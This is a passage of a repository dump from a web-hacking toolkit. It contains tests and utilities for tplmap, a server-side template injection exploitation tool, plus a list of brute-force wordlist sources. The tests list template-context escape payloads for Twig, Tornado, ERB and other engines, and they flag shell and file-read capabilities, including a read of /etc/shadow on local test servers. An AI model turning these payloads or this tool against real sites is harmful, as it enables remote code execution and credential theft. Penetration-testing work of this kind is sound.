'url' : self.url.replace('*', '~') % template, 73 | 'force_level': [ 5, 5 ], 74 | 'injection_tag': '~', 75 | 'technique': 'RT' 76 | }) 77 | 78 | detect_template_injection(channel, [ self.plugin ]) 79 | 80 | expected_data = self.expected_data.copy() 81 | expected_data.update({ 'prefix': '*}', 'suffix' : '{*'}) 82 | 83 | del channel.data['os'] 84 | self.assertEqual(channel.data, expected_data) 85 | 86 | def test_download(self): 87 | 88 | # This is overriden due to the slight 89 | # difference from the base test_download() 90 | # obj.read('/dev/null') -> None 91 | 92 | obj, data = self._get_detection_obj_data(self.url % '') 93 | self.assertEqual(data, self.expected_data) 94 | 95 | if not EXTRA_DOWNLOAD: 96 | return 97 | 98 | # Normal ASCII file 99 | readable_file = '/etc/resolv.conf' 100 | content = open(readable_file, 'r').read() 101 | self.assertEqual(content, obj.read(readable_file)) 102 | 103 | # Long binary file 104 | readable_file = '/bin/ls' 105 | content = open(readable_file, 'rb').read() 106 | self.assertEqual(content, obj.read(readable_file)) 107 | 108 | # Non existant file 109 | self.assertEqual(None, obj.read('/nonexistant')) 110 | # Unpermitted file 111 | self.assertEqual(None, obj.read('/etc/shadow')) 112 | # Empty file 113 | self.assertEqual(None, obj.read('/dev/null')) 114 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_php_twig_secured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.twig import Twig 9 | from core.channel import Channel 10 | from basetest import BaseTest 11 | 12 | class TwigSecuredTest(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'php', 16 | 'engine': 'twig', 17 | 'trailer': '{{%(trailer)s}}', 18 | 'header': '{{%(header)s}}', 19 | 'render': '{{%(code)s}}', 20 | 'prefix' : '', 21 | 'suffix' : '', 22 | } 23 | 24 | url = 'http://127.0.0.1:15002/twig-1.20.0-secured.php?tpl=%s&inj=*' 25 | url_blind = '' 26 | 27 | plugin = Twig 28 | 29 | blind_tests = [ 30 | 31 | ] 32 | 33 | reflection_tests = [ 34 | (0, 0, "%s", {}), 35 | (0, 0, "AAA%sAAA", {}), 36 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }), 37 | (0, 0, "{% block title %}%s{% endblock %}", {}), 38 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }), 39 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }), 40 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 41 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}), 42 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}), 43 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}), 44 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }), 45 | ] 46 | 47 | # Defuse download tests, capabilities not available 48 | def test_download(self): 49 | pass 50 | 51 | # Defuse upload tests, capabilities not available 52 | def test_upload(self): 53 | pass 54 | 55 | def test_upload_blind(self): 56 | pass -------------------------------------------------------------------------------- /modules/tplmap/tests/test_php_twig_unsecured.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.twig import Twig 9 | from core.channel import Channel 10 | from basetest import BaseTest 11 | 12 | class TwigUnsecuredTest(unittest.TestCase, BaseTest): 13 | 14 | expected_data = { 15 | 'language': 'php', 16 | 'engine': 'twig', 17 | 'evaluate' : 'php', 18 | 'execute' : True, 19 | 'write': True, 20 | 'read': True, 21 | 'trailer': '{{%(trailer)s}}', 22 | 'header': '{{%(header)s}}', 23 | 'render': '{{%(code)s}}', 24 | 'prefix' : '', 25 | 'suffix' : '', 26 | 'bind_shell' : True, 27 | 'reverse_shell': True 28 | } 29 | 30 | expected_data_blind = { 31 | 'language': 'php', 32 | 'engine': 'twig', 33 | 'evaluate_blind': 'php', 34 | 'execute_blind': True, 35 | 'write': True, 36 | 'blind': True, 37 | 'prefix' : '', 38 | 'suffix' : '', 39 | 'bind_shell' : True, 40 | 'reverse_shell': True 41 | } 42 | 43 | url = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*' 44 | url_blind = 'http://127.0.0.1:15002/twig-1.19.0-unsecured.php?tpl=%s&inj=*&blind=1' 45 | 46 | plugin = Twig 47 | 48 | blind_tests = [ 49 | 50 | ] 51 | 52 | reflection_tests = [ 53 | (0, 0, "%s", {}), 54 | (0, 0, "AAA%sAAA", {}), 55 | (1, 0, "{{ %s }}", { 'prefix': '1}}', 'suffix' : '{{1' }), 56 | (0, 0, "{% block title %}%s{% endblock %}", {}), 57 | (1, 0, "{% set foo = '%s' %}", { 'prefix': "1' %}", 'suffix' : '' }), 58 | (5, 2, "{% set %s = 1 %}", { 'prefix': 'a = 1 %}', 'suffix' : '' }), 59 | (5, 1, "{% for item in %s %}{% endfor %}", {'prefix': '1 %}{% endfor %}{% for a in [1] %}', 'suffix' : ''}), 60 | (1, 0, "{% if %s == 1 %}{% endif %}", {'prefix': '1 %}', 'suffix' : ''}), 61 | (1, 2, "{% if 1 in %s %}{% endif %}", {'prefix': '"1" %}', 'suffix' : ''}), 62 | (1, 3, "{% if 1 in [%s] %}{% endif %}", {'prefix': '1] %}', 'suffix' : ''}), 63 | #(1, 4, "{{ \"iterpo#{%s}lation\" }}", { 'prefix': '1}}}', 'suffix' : '' }), 64 | ] -------------------------------------------------------------------------------- /modules/tplmap/tests/test_py_python.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.python import Python 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class PythonTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'python', 18 | 'engine': 'python', 19 | 'evaluate' : 'python' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': """str(%(code)s)""", 26 | 'header': """'%(header)s'+""", 27 | 'trailer': """+'%(trailer)s'""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'python', 34 | 'engine': 'python', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'python', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15001/reflect/eval?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15001/blind/eval?inj=*&tpl=%s' 47 | plugin = Python 48 | 49 | blind_tests = [ 50 | (0, 0, '%s', {}), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', {}), 55 | ] 56 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_py_tornado.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(10, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.tornado import Tornado 9 | from core.channel import Channel 10 | from utils import rand 11 | from utils import strings 12 | from basetest import BaseTest 13 | 14 | class TornadoTest(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'python', 18 | 'engine': 'tornado', 19 | 'evaluate' : 'python' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix': '', 24 | 'suffix': '', 25 | 'trailer': '{{%(trailer)s}}', 26 | 'header': '{{%(header)s}}', 27 | 'render': '{{%(code)s}}', 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'python', 34 | 'engine': 'tornado', 35 | 'evaluate_blind': 'python', 36 | 'execute_blind': True, 37 | 'write': True, 38 | 'blind': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://127.0.0.1:15001/reflect/tornado?tpl=%s&inj=*' 46 | url_blind = 'http://127.0.0.1:15001/blind/tornado?tpl=%s&inj=*' 47 | 48 | plugin = Tornado 49 | 50 | blind_tests = [ 51 | (0, 0, 'AAA%sAAA', {}), 52 | (1, 2, '{%% for a in %s %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }), 53 | ] 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | (0, 0, 'AAA%sAAA', {}), 57 | 58 | # Reflecting tag ${} context 59 | (1, 1, '{{%s}}', { 'prefix': '1}}', 'suffix' : '' }), 60 | (1, 1, '{{ \'%s\' }}', { 'prefix': '1\'}}', 'suffix' : '' }), 61 | (1, 1, '{{ "%s" }}', { 'prefix': '1"}}', 'suffix' : '' }), 62 | (1, 3, '{{ """%s""" }}', { 'prefix': '1"""}}', 'suffix' : '' }), # {{"""%s"""}} -> {{"""1"}} 63 | 64 | (1, 4, '{{[%s]}}', { 'prefix': '1]}}', 'suffix' : '' }), 65 | (1, 3, '{{ [\'%s\'] }}', { 'prefix': '1\']}}', 'suffix' : '' }), 66 | (1, 3, '{{ ["%s"] }}', { 'prefix': '1"]}}', 'suffix' : '' }), 67 | (1, 3, '{{ ["""%s"""] }}', { 'prefix': '1"""]}}', 'suffix' : '' }), # {{["""%s"""]}} -> {{["""1"]}} 68 | 69 | # # if and for blocks context with {% %} 70 | (1, 1, '{%% if %s: %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }), 71 | (1, 2, '{%% for a in %s: %%}\n{%% end %%}', { 'prefix' : '"1"%}', 'suffix' : '' }), 72 | (1, 1, '{%% if %s==1 %%}\n{%% end %%}', { 'prefix' : '1%}', 'suffix' : '' }), 73 | (1, 1, '{%% if \'%s\'==1 %%}\n{%% end %%}', { 'prefix' : '1\'%}', 'suffix' : '' }), 74 | (1, 1, '{%% if "%s"==1 %%}\n{%% end %%}', { 'prefix' : '1"%}', 'suffix' : '' }), 75 | (1, 3, '{%% if """%s"""==1 %%}\n{%% end %%}', { 'prefix' : '1"""%}', 'suffix' : '' }), # if """%s""": -> if """1": 76 | (1, 2, '{%% if (1, %s)==1 %%}\n{%% end %%}', { 'prefix' : '1)%}', 'suffix' : '' }), 77 | (1, 2, '{%% if (1, \'%s\')==1 %%}\n{%% end %%}', { 'prefix' : '1\')%}', 'suffix' : '' }), 78 | (1, 2, '{%% if (1, "%s")==1 %%}\n{%% end %%}', { 'prefix' : '1")%}', 'suffix' : '' }), 79 | (1, 3, '{%% if (1, """%s""")==1 %%}\n{%% end %%}', { 'prefix' : '1""")%}', 'suffix' : '' }), # if (1, """%s"""): -> if (1, """1"): 80 | 81 | (1, 3, '{%% if [%s]==1 %%}\n{%% end %%}', { 'prefix' : '1]%}', 'suffix' : '' }), 82 | (1, 3, '{%% if [\'%s\']==1 %%}\n{%% end %%}', { 'prefix' : '1\']%}', 'suffix' : '' }), 83 | (1, 3, '{%% if ["%s"]==1 %%}\n{%% end %%}', { 'prefix' : '1"]%}', 'suffix' : '' }), 84 | (1, 3, '{%% if ["""%s"""]==1 %%}\n{%% end %%}', { 'prefix' : '1"""]%}', 'suffix' : '' }), # if ["""%s"""]: -> if ["""1"]: 85 | (1, 5, '{%% if (1, [%s])==1 %%}\n{%% end %%}', { 'prefix' : '1])%}', 'suffix' : '' }), 86 | (1, 5, '{%% if (1, [\'%s\'])==1 %%}\n{%% end %%}', { 'prefix' : '1\'])%}', 'suffix' : '' }), 87 | (1, 5, '{%% if (1, ["%s"])==1 %%}\n{%% end %%}', { 'prefix' : '1"])%}', 'suffix' : '' }), 88 | (1, 5, '{%% if (1, ["""%s"""])==1 %%}\n{%% end %%}', { 'prefix' : '1"""])%}', 'suffix' : '' }), # if (1, ["""%s"""]): -> if (1, ["""1"]): 89 | 90 | (1, 3, '{%% for a in {%s} %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }), 91 | (1, 3, '{%% if {%s:1}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }), 92 | (1, 3, '{%% if {\'%s\':1}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }), 93 | (1, 3, '{%% if {"%s":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }), 94 | (1, 3, '{%% if {"""%s""":1}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {"""%s""":1}: -> if {"""1":1}: 95 | (1, 3, '{%% if {1:%s}==1 %%}\n{%% end %%}', { 'prefix' : '1}%}', 'suffix' : '' }), 96 | (1, 3, '{%% if {1:\'%s\'}==1 %%}\n{%% end %%}', { 'prefix' : '1\'}%}', 'suffix' : '' }), 97 | (1, 3, '{%% if {1:"%s"}==1 %%}\n{%% end %%}', { 'prefix' : '1"}%}', 'suffix' : '' }), 98 | (1, 3, '{%% if {1:"""%s"""}==1 %%}\n{%% end %%}', { 'prefix' : '1"""}%}', 'suffix' : '' }), # if {1:"""%s""":1}: -> if {1:"""1"}: 99 | 100 | 101 | # # Comment blocks 102 | (5, 1, '{# %s #}', { 'prefix' : '#}', 'suffix' : '{#' }), 103 | 104 | ] 105 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_ruby_erb.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.erb import Erb 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class ErbTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'ruby', 18 | 'engine': 'erb', 19 | 'evaluate' : 'ruby' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': '"#{%(code)s}"', 26 | 'header': """<%%= '%(header)s'+""", 27 | 'trailer': """+'%(trailer)s' %%>""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'ruby', 34 | 'engine': 'erb', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'ruby', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15005/reflect/erb?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15005/blind/erb?inj=*&tpl=%s' 47 | plugin = Erb 48 | 49 | #TODO: write context escape tests 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | ] 53 | 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | ] 57 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_ruby_ruby.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.languages.ruby import Ruby 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class RubyTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'ruby', 18 | 'engine': 'ruby', 19 | 'evaluate' : 'ruby' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': '"#{%(code)s}"', 26 | 'header': """'%(header)s'+""", 27 | 'trailer': """+'%(trailer)s'""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'ruby', 34 | 'engine': 'ruby', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'ruby', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15005/reflect/eval?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15005/blind/eval?inj=*&tpl=%s' 47 | plugin = Ruby 48 | 49 | blind_tests = [ 50 | (0, 0, '%s', {}), 51 | ] 52 | 53 | reflection_tests = [ 54 | (0, 0, '%s', {}), 55 | ] 56 | -------------------------------------------------------------------------------- /modules/tplmap/tests/test_ruby_slim.py: -------------------------------------------------------------------------------- 1 | import unittest 2 | import requests 3 | import os 4 | import sys 5 | import random 6 | 7 | sys.path.insert(1, os.path.join(sys.path[0], '..')) 8 | from plugins.engines.slim import Slim 9 | from core.channel import Channel 10 | from core.checks import detect_template_injection 11 | from basetest import BaseTest 12 | 13 | 14 | class SlimTests(unittest.TestCase, BaseTest): 15 | 16 | expected_data = { 17 | 'language': 'ruby', 18 | 'engine': 'slim', 19 | 'evaluate' : 'ruby' , 20 | 'execute' : True, 21 | 'read' : True, 22 | 'write' : True, 23 | 'prefix' : '', 24 | 'suffix': '', 25 | 'render': '"#{%(code)s}"', 26 | 'header': """=('%(header)s'+""", 27 | 'trailer': """+'%(trailer)s')""", 28 | 'bind_shell' : True, 29 | 'reverse_shell': True 30 | } 31 | 32 | expected_data_blind = { 33 | 'language': 'ruby', 34 | 'engine': 'slim', 35 | 'blind': True, 36 | 'execute_blind' : True, 37 | 'evaluate_blind' : 'ruby', 38 | 'write': True, 39 | 'prefix' : '', 40 | 'suffix' : '', 41 | 'bind_shell' : True, 42 | 'reverse_shell': True 43 | } 44 | 45 | url = 'http://localhost:15005/reflect/slim?inj=*&tpl=%s' 46 | url_blind = 'http://localhost:15005/blind/slim?inj=*&tpl=%s' 47 | plugin = Slim 48 | 49 | #TODO: write context escape tests 50 | blind_tests = [ 51 | (0, 0, '%s', {}), 52 | ] 53 | 54 | reflection_tests = [ 55 | (0, 0, '%s', {}), 56 | ] 57 | -------------------------------------------------------------------------------- /modules/tplmap/tests/tests.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | cd "$( dirname "${BASH_SOURCE[0]}" )" 4 | 5 | for SCRIPT in ./run_*sh 6 | do 7 | if [ -f $SCRIPT -a -x $SCRIPT ] 8 | then 9 | echo -e "\n## Running $SCRIPT" 10 | bash -e $SCRIPT --test 11 | fi 12 | done -------------------------------------------------------------------------------- /modules/tplmap/tplmap.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | from utils import cliparser 3 | from core import checks 4 | from core.channel import Channel 5 | from utils.loggers import log 6 | import traceback 7 | 8 | version = '0.5' 9 | 10 | def main(): 11 | 12 | args = vars(cliparser.options) 13 | 14 | if not args.get('url'): 15 | cliparser.parser.error('URL is required. Run with -h for help.') 16 | 17 | # Add version 18 | args['version'] = version 19 | 20 | checks.check_template_injection(Channel(args)) 21 | 22 | if __name__ == '__main__': 23 | 24 | log.info(cliparser.banner % version) 25 | 26 | try: 27 | main() 28 | except (KeyboardInterrupt): 29 | log.info('Exiting.') 30 | except Exception as e: 31 | log.critical('Exiting: %s' % e) 32 | log.debug(traceback.format_exc()) 33 | -------------------------------------------------------------------------------- /modules/tplmap/utils/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SecHackLabs/webhackshl-termux/8dc6a824bf58794684e450d388c098f00e68dc0a/modules/tplmap/utils/__init__.py -------------------------------------------------------------------------------- /modules/tplmap/utils/closures.py: -------------------------------------------------------------------------------- 1 | # Shared closures 2 | 3 | close_single_duble_quotes = [ '1\'', '1"' ] 4 | integer = [ '1' ] 5 | string = [ '"1"' ] 6 | close_dict = [ '}', ':1}' ] 7 | close_function = [ ')' ] 8 | close_list = [ ']' ] 9 | empty = [ '' ] 10 | 11 | # Python triple quotes and if and for loop termination. 12 | close_triple_quotes = [ '1"""' ] 13 | if_loops = [ ':' ] 14 | 15 | # Javascript needs this to bypass assignations 16 | var = [ 'a' ] 17 | 18 | # Java needs booleans to bypass conditions and iterable objects 19 | true_var = [ 'true' ] 20 | iterable_var = [ '[1]' ] -------------------------------------------------------------------------------- /modules/tplmap/utils/config.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import yaml 4 | 5 | config = None 6 | 7 | config_folder = os.path.dirname(os.path.realpath(__file__)) 8 | 9 | # TODO: fix this 10 | with open(config_folder + "/../config.yml", 'r') as stream: 11 | try: 12 | config = yaml.load(stream) 13 | except yaml.YAMLError as e: 14 | # logger is not yet loaded, print it roughly 15 | print('[!][%s] %s' % ('config', e)) 16 | 17 | base_path = os.path.expanduser(config["base_path"]) 18 | log_response = config["log_response"] 19 | time_based_blind_delay = config["time_based_blind_delay"] 20 | 21 | if not os.path.isdir(base_path): 22 | os.makedirs(base_path) 23 | 24 | 25 | -------------------------------------------------------------------------------- /modules/tplmap/utils/loggers.py: -------------------------------------------------------------------------------- 1 | import logging.handlers 2 | import logging 3 | import sys 4 | import utils.config 5 | import os 6 | 7 | log = None 8 | logfile = None 9 | 10 | class TplmapFormatter(logging.Formatter): 11 | 12 | FORMATS = { 13 | # logging.DEBUG :"[D][%(module)s.%(funcName)s:%(lineno)d] %(message)s", 14 | logging.DEBUG: "[D][%(module)s] %(message)s", 15 | logging.INFO: "[+] %(message)s", 16 | logging.WARNING: "[*][%(module)s] %(message)s", 17 | logging.ERROR: "[-][%(module)s] %(message)s", 18 | logging.CRITICAL: "[!][%(module)s] %(message)s", 19 | 'DEFAULT': "[%(levelname)s] %(message)s"} 20 | 21 | def format(self, record): 22 | self._fmt = self.FORMATS.get(record.levelno, self.FORMATS['DEFAULT']) 23 | return logging.Formatter.format(self, record) 24 | 25 | if not os.path.isdir(utils.config.base_path): 26 | os.makedirs(utils.config.base_path) 27 | 28 | """Initialize the handler to dump log to files""" 29 | log_path = os.path.join(utils.config.base_path, 'tplmap.log') 30 | file_handler = logging.handlers.RotatingFileHandler( 31 | log_path, 32 | mode='a', 33 | maxBytes=5*1024*1024, 34 | backupCount=2, 35 | encoding=None, 36 | delay=0 37 | ) 38 | file_handler.setFormatter(TplmapFormatter()) 39 | 40 | """Initialize the normal handler""" 41 | stream_handler = logging.StreamHandler(stream=sys.stdout) 42 | stream_handler.setFormatter(TplmapFormatter()) 43 | 44 | """Initialize the standard logger""" 45 | log = logging.getLogger('log') 46 | log.addHandler(file_handler) 47 | log.addHandler(stream_handler) 48 | # We can set the a different level for to the two handlers, 49 | # but the global has to be set to the lowest. Fair enough. 50 | log.setLevel(logging.DEBUG) 51 | file_handler.setLevel(logging.DEBUG) 52 | stream_handler.setLevel(logging.INFO) 53 | 54 | """Initialize the debug logger, that dumps just to logfile""" 55 | dlog = logging.getLogger('dlog') 56 | dlog.addHandler(file_handler) 57 | dlog.setLevel(logging.INFO) 58 | -------------------------------------------------------------------------------- /modules/tplmap/utils/rand.py: -------------------------------------------------------------------------------- 1 | import random 2 | import string 3 | 4 | def randint_n(n): 5 | 6 | # If the length is 1, starts from 2 to avoid 7 | # number repetition on evaluation e.g. 1*8=8 8 | # creating false positives 9 | 10 | if n == 1: 11 | range_start = 2 12 | else: 13 | range_start = 10**(n-1) 14 | 15 | range_end = (10**n)-1 16 | return random.randint(range_start, range_end) 17 | 18 | def randstr_n(n, chars=string.letters + string.digits): 19 | return ''.join( 20 | random.choice(chars) for _ in range(n) 21 | ) 22 | 23 | # Generate static random integers 24 | # to help filling actions['render'] 25 | randints = [ 26 | randint_n(2) for n in range(3) 27 | ] 28 | 29 | # Generate static random integers 30 | # to help filling actions['render'] 31 | randstrings = [ 32 | randstr_n(2) for n in range(3) 33 | ] 34 | -------------------------------------------------------------------------------- /modules/tplmap/utils/strings.py: -------------------------------------------------------------------------------- 1 | import json 2 | import base64 3 | from itertools import izip_longest 4 | import hashlib 5 | 6 | def quote(command): 7 | return command.replace("\\", "\\\\").replace("\"", "\\\"") 8 | 9 | def base64encode(data): 10 | return base64.b64encode(data) 11 | 12 | def base64decode(data): 13 | return base64.b64decode(data) 14 | 15 | def chunkit( seq, n ): 16 | """A generator to divide a sequence into chunks of n units.""" 17 | while seq: 18 | yield seq[:n] 19 | seq = seq[n:] 20 | 21 | def md5(data): 22 | return hashlib.md5(data).hexdigest() 23 | -------------------------------------------------------------------------------- /modules/wordlist/worlists.txt: -------------------------------------------------------------------------------- 1 | * Links Diccionarios Para FUERZA BRUTA! - WordList Brute Force! 2 | 3 | https://wiki.skullsecurity.org/Passwords 4 | http://www.insidepro.com/ 5 | https://packetstormsecurity.com/Crackers/wordlists/ 6 | http://www.cotse.com/tools/wordlists1.htm 7 | http://www.cotse.com/tools/wordlists2.htm 8 | ftp://ftp.openwall.com/pub/wordlists/ 9 | ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/ 10 | ftp://ftp.zedz.net/pub/crypto/wordlists/ 11 | http://contest-2010.korelogic.com/wordlists.html 12 | http://www.leetupload.com/dbindex2/index.php?dir=Word%20Lists/ 13 | ftp://ftp.funet.fi/pub/unix/security/dictionaries/ 14 | http://wordlist.aspell.net/ 15 | 16 | Recopilado por Security Hack Labs Team 17 | 18 | Email: shl.contacto@gmail.com 19 | Blog: https://securityhacklabs.net 20 | Twitter: @SecurityHackLab 21 | Facebook: https://fb.com/SecHackLabs 22 | 23 | --------------------------------------------------------------------------------